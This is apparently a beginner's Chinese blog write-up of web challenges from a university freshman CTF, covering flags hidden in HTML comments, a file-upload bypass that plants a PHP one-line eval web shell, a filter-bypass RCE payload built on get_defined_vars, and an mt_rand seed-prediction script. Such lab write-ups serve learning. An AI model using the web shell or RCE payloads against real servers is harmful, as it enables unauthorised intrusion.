WSCTF--江苏大学新生赛解题笔记及反思

这是我这个菜鸡小白开始学习CTF的起点,所以简单记录一下喵

因为是菜鸡所以只记录一下web方向(其实misc也可以记录一下,但是我有点懒,还是算了)

目录

读江大信安,享__人生

一道题带你走进二游

upload

离子称的秘密

学长还在蒸

🐔🐔🐔🐔🐔

总结


读江大信安,享__人生

我们网络安全行业正在蒸蒸日上,访问/index.html有烟花

 web签到题

创建实例并进入,发现是403,所以根据提示在url后加上/index.html

烟花好看捏

f12查看源码

有点长就不贴了

翻到末尾发现一段注释

<!--flag{2024_UJ8_CTF}-->

得到flag

一道题带你走进二游

(请访问/index.html)以下内容由ai生成

游戏名称:

《星际幻界:多元交汇》

游戏简介:

在遥远的未来,宇宙的边界被未知的力量撕裂,形成了连接不同次元的“幻界门扉”。在这个时代,科技与魔法共存,文明与异界交织,七大世界的力量意外交汇于一个名为“星际幻界”的神秘领域。玩家将扮演一名来自地球的探险家,穿越幻界门扉,探索这些异彩纷呈的世界,揭开宇宙最深的秘密,并守护这片多元宇宙免受未知威胁的侵扰。

游戏特色:

多元世界融合:

游戏融合了《原神》的奇幻大陆、《碧蓝航线》的海上冒险、《绝区零》的废墟都市、《鸣潮》的科幻废墟、《明日方舟》的末日塔防、《崩坏星穹铁道》的银河列车旅行,以及《崩坏3》的崩坏世界设定,创造出一个前所未有的多元宇宙冒险体验。

独特角色收集:

每个世界都有其独特的英雄与伙伴,从原神的精灵法师到碧蓝航线的舰娘,再到绝区零的异能者、鸣潮的异能战士、明日方舟的感染者干员、星穹铁道的星际旅人,以及崩坏系列的女武神,玩家可以组建自己的跨次元队伍,共同战斗。

策略战斗系统:

结合即时战斗与策略塔防元素,玩家需要根据不同敌人的特性,灵活调整队伍配置与技能释放时机,体验深度策略的乐趣。同时,引入“共鸣共鸣”机制,不同世界的角色间能产生特殊联动,增强团队战力。

开放世界探索:

广阔的星际幻界由多个风格迥异的开放世界组成,玩家可以自由探索未知领域,解开谜题,发现隐藏的宝藏与秘密,与NPC建立深厚羁绊,逐步揭示世界的真相。

多元剧情体验:

游戏拥有庞大的世界观和错综复杂的剧情线,玩家的选择将影响故事的走向和角色的命运。通过完成主线任务与丰富的支线任务,逐步揭开多元宇宙背后的巨大阴谋。

创新社交互动:

除了单人冒险外,游戏还支持多人合作与竞技模式。玩家可以与好友组队挑战高难度副本,或在竞技场中一决高下,享受团队协作与竞技对抗的乐趣。 《星际幻界:多元交汇》是一场跨越次元的奇幻之旅,邀你与来自不同世界的英雄并肩作战,共同书写属于你们的宇宙传奇!

题目难绷

题目内容也难绷

总之进去看到一大段话,flag就藏在这些话中

直接f12大法,在元素里方便寻找一点

找到三段flag

<!--f|l|a|g{yong_--><!--chu_--><!--xuelian}-->

拼接一下

flag{yong_chu_xuelian}

这flag怎么又有点罕见又有点唐氏

upload

朴实无华的一道题

直接构造上传一个有一句马的php文件

<?php @eval($_POST['attack']);?>

(此处attack是密码,后面要考: )

回显如下:

Sorry, we only allow uploading GIF images

好吧还是有点过滤的,那我们把后缀名改为gif然后上传的时候用burpsuite抓包在改回去

这里我犯懒了就不贴图了

上传成功后得到url后缀名的提示,然后就可以用蚁剑连接了

在蚁剑输入url和密码,测试连接后再保存

然后右键选择文件管理,就能看到所有的文件了,flag就在一个文件夹里(具体忘了在哪)

离子称的秘密

这是离子称学长的服务器,藏着学长的小秘密,请你找出学长的秘密(flag为二字中文,请以flag{}形式提交)

进入实例后就看到了一段代码

这是离子称学长的七度空间,藏着学长的小秘密 <?php
if(isset($_GET['lzc'])){
    $lzc=$_GET['lzc'];
    if(!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$lzc)){
        eval($lzc);
    }
}
else{
    echo "这是离子称学长的七度空间,藏着学长的小秘密";
}


show_source(__FILE__);


?>

一眼看到了get传参和一大片的过滤,但是经过实验发现可以用反斜杠绕过过滤(后来看官方wp发现这个方法非预期了,但是没关系,能做出题就是好方法

但是说实话我虽然试出来\能绕过也没解出来,我是fw

大佬说是无参rce

?lzc=eval(end(pos(get_defined_vars())));&1=echo `ls ./`;

找到力

难绷

不难看出,flag是{学妹}

学长还在蒸

不小心把源码放在index.rar,php环境为5.6

这个其实还蛮简单的,但是当时我是刚开始学的fw,所以不会写,但是现在会了喵

直接启动

沟槽的三国杀,我要给他刷差评

根据提示直接构造url/?id=a试一试

然后url就会变成这样

/?id=d&money=648

尝试一下改money的值,然后

不就开个桂吗直接给我flag多好

然后当时的我就瓶颈了(归根结底还是因为不会写脚本)

所以我直接给官方wp的脚本cv过来

    $ccc=time();
		$ttt=substr($ccc, 0, 7);
		mt_srand($ttt);
		for($i =0; $i <= 100; $i++){
			if($i == 100){
				$shenhe = mt_rand();
        echo $shenhe;

			}
			else{
				mt_rand();
			};

跑出结果再post给c就行(我就不跑了,再跑我就要跑路了)

🐔🐔🐔🐔🐔

flag{}的格式提交flag

据说是为了防止被ak才出的

不会写,直接跳过

贴一个官方wp

总结

题目对于新手还是很友好的(但我是fw),等我学成归来,直接给下一届出更整活更优秀的题,让下一届新生飞起来  让下一届新生更好入门CTF,加入我们大家庭

posted @ 2024-11-09 21:33  ALe_#3  阅读(8)  评论(0)    收藏  举报  来源